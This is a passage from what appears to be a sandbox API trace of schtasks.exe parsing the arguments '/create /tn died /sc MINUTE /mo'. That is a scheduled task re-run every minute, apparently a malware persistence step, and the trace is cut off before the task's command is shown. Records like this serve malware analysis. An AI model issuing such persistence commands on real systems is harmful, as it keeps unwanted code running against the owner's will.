pBlock=0x3ac320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f5e8, puLen=0x21f650 | out: lplpBuffer=0x21f5e8*=0x3ac6bc, puLen=0x21f650) returned 1 [0076.329] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.329] _vsnwprintf (in: _Buffer=0x3abd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f5c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0076.329] VerQueryValueW (in: pBlock=0x3ac320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f658, puLen=0x21f648 | out: lplpBuffer=0x21f658*=0x3ac4e8, puLen=0x21f648) returned 1 [0076.329] lstrlenW (lpString="schtasks.exe") returned 12 [0076.329] lstrlenW (lpString="schtasks.exe") returned 12 [0076.329] lstrlenW (lpString=".EXE") returned 4 [0076.329] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0076.330] lstrlenW (lpString="schtasks.exe") returned 12 [0076.330] lstrlenW (lpString=".EXE") returned 4 [0076.330] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.330] lstrlenW (lpString="schtasks") returned 8 [0076.330] GetProcessHeap () returned 0x390000 [0076.330] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5e50 [0076.330] GetProcessHeap () returned 0x390000 [0076.330] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acc30 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acc60 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acc90 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abbd0 [0076.331] _memicmp (_Buf1=0x3abbd0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa0) returned 0x3ac150 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3accc0 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3accf0 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd20 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abbf0 [0076.331] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.331] GetProcessHeap () returned 0x390000 [0076.331] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x200) returned 0x3ad400 [0076.331] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0076.332] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0076.332] GetProcessHeap () returned 0x390000 [0076.332] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x30) returned 0x3a7bc0 [0076.332] _vsnwprintf (in: _Buffer=0x3ac150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f5c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0076.332] GetProcessHeap () returned 0x390000 [0076.332] GetProcessHeap () returned 0x390000 [0076.332] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320) returned 1 [0076.332] GetProcessHeap () returned 0x390000 [0076.332] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac320) returned 0x74e [0076.333] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320 | out: hHeap=0x390000) returned 1 [0076.333] SetLastError (dwErrCode=0x0) [0076.333] GetThreadLocale () returned 0x409 [0076.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.333] lstrlenW (lpString="?") returned 1 [0076.333] GetThreadLocale () returned 0x409 [0076.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.333] lstrlenW (lpString="create") returned 6 [0076.333] GetThreadLocale () returned 0x409 [0076.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.333] lstrlenW (lpString="delete") returned 6 [0076.334] GetThreadLocale () returned 0x409 [0076.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.334] lstrlenW (lpString="query") returned 5 [0076.334] GetThreadLocale () returned 0x409 [0076.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.334] lstrlenW (lpString="change") returned 6 [0076.334] GetThreadLocale () returned 0x409 [0076.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.334] lstrlenW (lpString="run") returned 3 [0076.334] GetThreadLocale () returned 0x409 [0076.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.334] lstrlenW (lpString="end") returned 3 [0076.334] GetThreadLocale () returned 0x409 [0076.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.334] lstrlenW (lpString="showsid") returned 7 [0076.334] GetThreadLocale () returned 0x409 [0076.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0076.334] SetLastError (dwErrCode=0x0) [0076.334] SetLastError (dwErrCode=0x0) [0076.334] lstrlenW (lpString="/create") returned 7 [0076.334] lstrlenW (lpString="-/") returned 2 [0076.334] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.334] lstrlenW (lpString="?") returned 1 [0076.334] lstrlenW (lpString="?") returned 1 [0076.334] GetProcessHeap () returned 0x390000 [0076.335] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ac200 [0076.335] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.335] GetProcessHeap () returned 0x390000 [0076.335] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa) returned 0x3ac320 [0076.335] lstrlenW (lpString="create") returned 6 [0076.335] GetProcessHeap () returned 0x390000 [0076.335] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ac340 [0076.335] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.335] GetProcessHeap () returned 0x390000 [0076.335] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x14) returned 0x3ac360 [0076.335] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|?|") returned 3 [0076.335] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.335] lstrlenW (lpString="|?|") returned 3 [0076.335] lstrlenW (lpString="|create|") returned 8 [0076.335] SetLastError (dwErrCode=0x490) [0076.335] lstrlenW (lpString="create") returned 6 [0076.335] lstrlenW (lpString="create") returned 6 [0076.335] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.335] GetProcessHeap () returned 0x390000 [0076.335] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320) returned 1 [0076.335] GetProcessHeap () returned 0x390000 [0076.335] RtlReAllocateHeap (Heap=0x390000, Flags=0xc, Ptr=0x3ac320, Size=0x14) returned 0x3ac380 [0076.335] lstrlenW (lpString="create") returned 6 [0076.335] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.336] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.336] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.336] lstrlenW (lpString="|create|") returned 8 [0076.336] lstrlenW (lpString="|create|") returned 8 [0076.336] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0076.336] SetLastError (dwErrCode=0x0) [0076.336] SetLastError (dwErrCode=0x0) [0076.336] SetLastError (dwErrCode=0x0) [0076.336] lstrlenW (lpString="/tn") returned 3 [0076.336] lstrlenW (lpString="-/") returned 2 [0076.336] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.336] lstrlenW (lpString="?") returned 1 [0076.336] lstrlenW (lpString="?") returned 1 [0076.336] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.336] lstrlenW (lpString="tn") returned 2 [0076.336] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.336] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|?|") returned 3 [0076.336] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.336] lstrlenW (lpString="|?|") returned 3 [0076.336] lstrlenW (lpString="|tn|") returned 4 [0076.336] SetLastError (dwErrCode=0x490) [0076.336] lstrlenW (lpString="create") returned 6 [0076.336] lstrlenW (lpString="create") returned 6 [0076.336] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.337] lstrlenW (lpString="tn") returned 2 [0076.337] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.337] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.337] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.337] lstrlenW (lpString="|create|") returned 8 [0076.337] lstrlenW (lpString="|tn|") returned 4 [0076.337] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0076.337] SetLastError (dwErrCode=0x490) [0076.337] lstrlenW (lpString="delete") returned 6 [0076.337] lstrlenW (lpString="delete") returned 6 [0076.337] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.337] lstrlenW (lpString="tn") returned 2 [0076.337] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.337] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|delete|") returned 8 [0076.337] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.337] lstrlenW (lpString="|delete|") returned 8 [0076.337] lstrlenW (lpString="|tn|") returned 4 [0076.337] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0076.337] SetLastError (dwErrCode=0x490) [0076.337] lstrlenW (lpString="query") returned 5 [0076.337] lstrlenW (lpString="query") returned 5 [0076.337] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.337] lstrlenW (lpString="tn") returned 2 [0076.337] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.338] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|query|") returned 7 [0076.338] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.338] lstrlenW (lpString="|query|") returned 7 [0076.338] lstrlenW (lpString="|tn|") returned 4 [0076.338] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0076.338] SetLastError (dwErrCode=0x490) [0076.338] lstrlenW (lpString="change") returned 6 [0076.338] lstrlenW (lpString="change") returned 6 [0076.338] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.338] lstrlenW (lpString="tn") returned 2 [0076.338] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.338] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|change|") returned 8 [0076.338] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.338] lstrlenW (lpString="|change|") returned 8 [0076.338] lstrlenW (lpString="|tn|") returned 4 [0076.338] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0076.338] SetLastError (dwErrCode=0x490) [0076.338] lstrlenW (lpString="run") returned 3 [0076.338] lstrlenW (lpString="run") returned 3 [0076.338] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.338] lstrlenW (lpString="tn") returned 2 [0076.338] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.339] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|run|") returned 5 [0076.339] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.339] lstrlenW (lpString="|run|") returned 5 [0076.339] lstrlenW (lpString="|tn|") returned 4 [0076.339] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0076.339] SetLastError (dwErrCode=0x490) [0076.339] lstrlenW (lpString="end") returned 3 [0076.339] lstrlenW (lpString="end") returned 3 [0076.339] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.339] lstrlenW (lpString="tn") returned 2 [0076.339] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.339] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|end|") returned 5 [0076.339] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.339] lstrlenW (lpString="|end|") returned 5 [0076.339] lstrlenW (lpString="|tn|") returned 4 [0076.339] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0076.339] SetLastError (dwErrCode=0x490) [0076.339] lstrlenW (lpString="showsid") returned 7 [0076.339] lstrlenW (lpString="showsid") returned 7 [0076.339] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.339] GetProcessHeap () returned 0x390000 [0076.339] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac380) returned 1 [0076.339] GetProcessHeap () returned 0x390000 [0076.339] RtlReAllocateHeap (Heap=0x390000, Flags=0xc, Ptr=0x3ac380, Size=0x16) returned 0x3ac380 [0076.340] lstrlenW (lpString="tn") returned 2 [0076.340] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.340] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|showsid|") returned 9 [0076.340] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tn|") returned 4 [0076.340] lstrlenW (lpString="|showsid|") returned 9 [0076.340] lstrlenW (lpString="|tn|") returned 4 [0076.340] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0076.340] SetLastError (dwErrCode=0x490) [0076.340] SetLastError (dwErrCode=0x490) [0076.340] SetLastError (dwErrCode=0x0) [0076.340] lstrlenW (lpString="/tn") returned 3 [0076.340] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0076.340] SetLastError (dwErrCode=0x490) [0076.340] SetLastError (dwErrCode=0x0) [0076.340] lstrlenW (lpString="/tn") returned 3 [0076.340] GetProcessHeap () returned 0x390000 [0076.340] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac320 [0076.340] GetProcessHeap () returned 0x390000 [0076.340] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd50 [0076.340] SetLastError (dwErrCode=0x0) [0076.340] SetLastError (dwErrCode=0x0) [0076.340] lstrlenW (lpString="died") returned 4 [0076.340] lstrlenW (lpString="-/") returned 2 [0076.340] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0076.340] SetLastError (dwErrCode=0x490) [0076.340] SetLastError (dwErrCode=0x490) [0076.341] SetLastError (dwErrCode=0x0) [0076.341] lstrlenW (lpString="died") returned 4 [0076.341] StrChrIW (lpStart="died", wMatch=0x3a) returned 0x0 [0076.341] SetLastError (dwErrCode=0x490) [0076.341] SetLastError (dwErrCode=0x0) [0076.341] lstrlenW (lpString="died") returned 4 [0076.341] GetProcessHeap () returned 0x390000 [0076.341] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa) returned 0x3ac3b0 [0076.341] GetProcessHeap () returned 0x390000 [0076.341] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd80 [0076.341] SetLastError (dwErrCode=0x0) [0076.341] SetLastError (dwErrCode=0x0) [0076.341] lstrlenW (lpString="/sc") returned 3 [0076.341] lstrlenW (lpString="-/") returned 2 [0076.341] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.341] lstrlenW (lpString="?") returned 1 [0076.341] lstrlenW (lpString="?") returned 1 [0076.341] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.341] lstrlenW (lpString="sc") returned 2 [0076.341] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.341] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|?|") returned 3 [0076.341] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.341] lstrlenW (lpString="|?|") returned 3 [0076.341] lstrlenW (lpString="|sc|") returned 4 [0076.341] SetLastError (dwErrCode=0x490) [0076.341] lstrlenW (lpString="create") returned 6 [0076.341] lstrlenW (lpString="create") returned 6 [0076.342] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.342] lstrlenW (lpString="sc") returned 2 [0076.342] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.342] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.342] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.342] lstrlenW (lpString="|create|") returned 8 [0076.342] lstrlenW (lpString="|sc|") returned 4 [0076.342] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0076.342] SetLastError (dwErrCode=0x490) [0076.342] lstrlenW (lpString="delete") returned 6 [0076.342] lstrlenW (lpString="delete") returned 6 [0076.342] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.342] lstrlenW (lpString="sc") returned 2 [0076.342] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.342] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|delete|") returned 8 [0076.342] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.342] lstrlenW (lpString="|delete|") returned 8 [0076.342] lstrlenW (lpString="|sc|") returned 4 [0076.342] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0076.342] SetLastError (dwErrCode=0x490) [0076.342] lstrlenW (lpString="query") returned 5 [0076.342] lstrlenW (lpString="query") returned 5 [0076.342] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.342] lstrlenW (lpString="sc") returned 2 [0076.343] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.343] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|query|") returned 7 [0076.343] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.343] lstrlenW (lpString="|query|") returned 7 [0076.343] lstrlenW (lpString="|sc|") returned 4 [0076.343] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0076.343] SetLastError (dwErrCode=0x490) [0076.343] lstrlenW (lpString="change") returned 6 [0076.343] lstrlenW (lpString="change") returned 6 [0076.343] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.343] lstrlenW (lpString="sc") returned 2 [0076.343] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.343] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|change|") returned 8 [0076.343] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.343] lstrlenW (lpString="|change|") returned 8 [0076.343] lstrlenW (lpString="|sc|") returned 4 [0076.343] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0076.343] SetLastError (dwErrCode=0x490) [0076.343] lstrlenW (lpString="run") returned 3 [0076.343] lstrlenW (lpString="run") returned 3 [0076.343] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.343] lstrlenW (lpString="sc") returned 2 [0076.343] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.343] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|run|") returned 5 [0076.344] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.344] lstrlenW (lpString="|run|") returned 5 [0076.344] lstrlenW (lpString="|sc|") returned 4 [0076.344] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0076.344] SetLastError (dwErrCode=0x490) [0076.344] lstrlenW (lpString="end") returned 3 [0076.344] lstrlenW (lpString="end") returned 3 [0076.344] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.344] lstrlenW (lpString="sc") returned 2 [0076.344] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.344] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|end|") returned 5 [0076.344] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.344] lstrlenW (lpString="|end|") returned 5 [0076.344] lstrlenW (lpString="|sc|") returned 4 [0076.344] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0076.344] SetLastError (dwErrCode=0x490) [0076.344] lstrlenW (lpString="showsid") returned 7 [0076.344] lstrlenW (lpString="showsid") returned 7 [0076.344] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.344] lstrlenW (lpString="sc") returned 2 [0076.344] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.344] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|showsid|") returned 9 [0076.344] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|sc|") returned 4 [0076.344] lstrlenW (lpString="|showsid|") returned 9 [0076.345] lstrlenW (lpString="|sc|") returned 4 [0076.345] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0076.345] SetLastError (dwErrCode=0x490) [0076.345] SetLastError (dwErrCode=0x490) [0076.345] SetLastError (dwErrCode=0x0) [0076.345] lstrlenW (lpString="/sc") returned 3 [0076.345] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0076.345] SetLastError (dwErrCode=0x490) [0076.345] SetLastError (dwErrCode=0x0) [0076.345] lstrlenW (lpString="/sc") returned 3 [0076.345] GetProcessHeap () returned 0x390000 [0076.345] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac3d0 [0076.345] GetProcessHeap () returned 0x390000 [0076.345] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acdb0 [0076.345] SetLastError (dwErrCode=0x0) [0076.345] SetLastError (dwErrCode=0x0) [0076.345] lstrlenW (lpString="MINUTE") returned 6 [0076.345] lstrlenW (lpString="-/") returned 2 [0076.345] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0076.345] SetLastError (dwErrCode=0x490) [0076.345] SetLastError (dwErrCode=0x490) [0076.345] SetLastError (dwErrCode=0x0) [0076.345] lstrlenW (lpString="MINUTE") returned 6 [0076.345] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0076.345] SetLastError (dwErrCode=0x490) [0076.345] SetLastError (dwErrCode=0x0) [0076.345] lstrlenW (lpString="MINUTE") returned 6 [0076.345] GetProcessHeap () returned 0x390000 [0076.346] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ac3f0 [0076.346] GetProcessHeap () returned 0x390000 [0076.346] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acde0 [0076.346] SetLastError (dwErrCode=0x0) [0076.346] SetLastError (dwErrCode=0x0) [0076.346] lstrlenW (lpString="/mo") returned 3 [0076.346] lstrlenW (lpString="-/") returned 2 [0076.346] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.346] lstrlenW (lpString="?") returned 1 [0076.346] lstrlenW (lpString="?") returned 1 [0076.346] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.346] lstrlenW (lpString="mo") returned 2 [0076.346] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.346] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|?|") returned 3 [0076.346] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.346] lstrlenW (lpString="|?|") returned 3 [0076.346] lstrlenW (lpString="|mo|") returned 4 [0076.346] SetLastError (dwErrCode=0x490) [0076.346] lstrlenW (lpString="create") returned 6 [0076.346] lstrlenW (lpString="create") returned 6 [0076.346] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.346] lstrlenW (lpString="mo") returned 2 [0076.346] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.346] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", 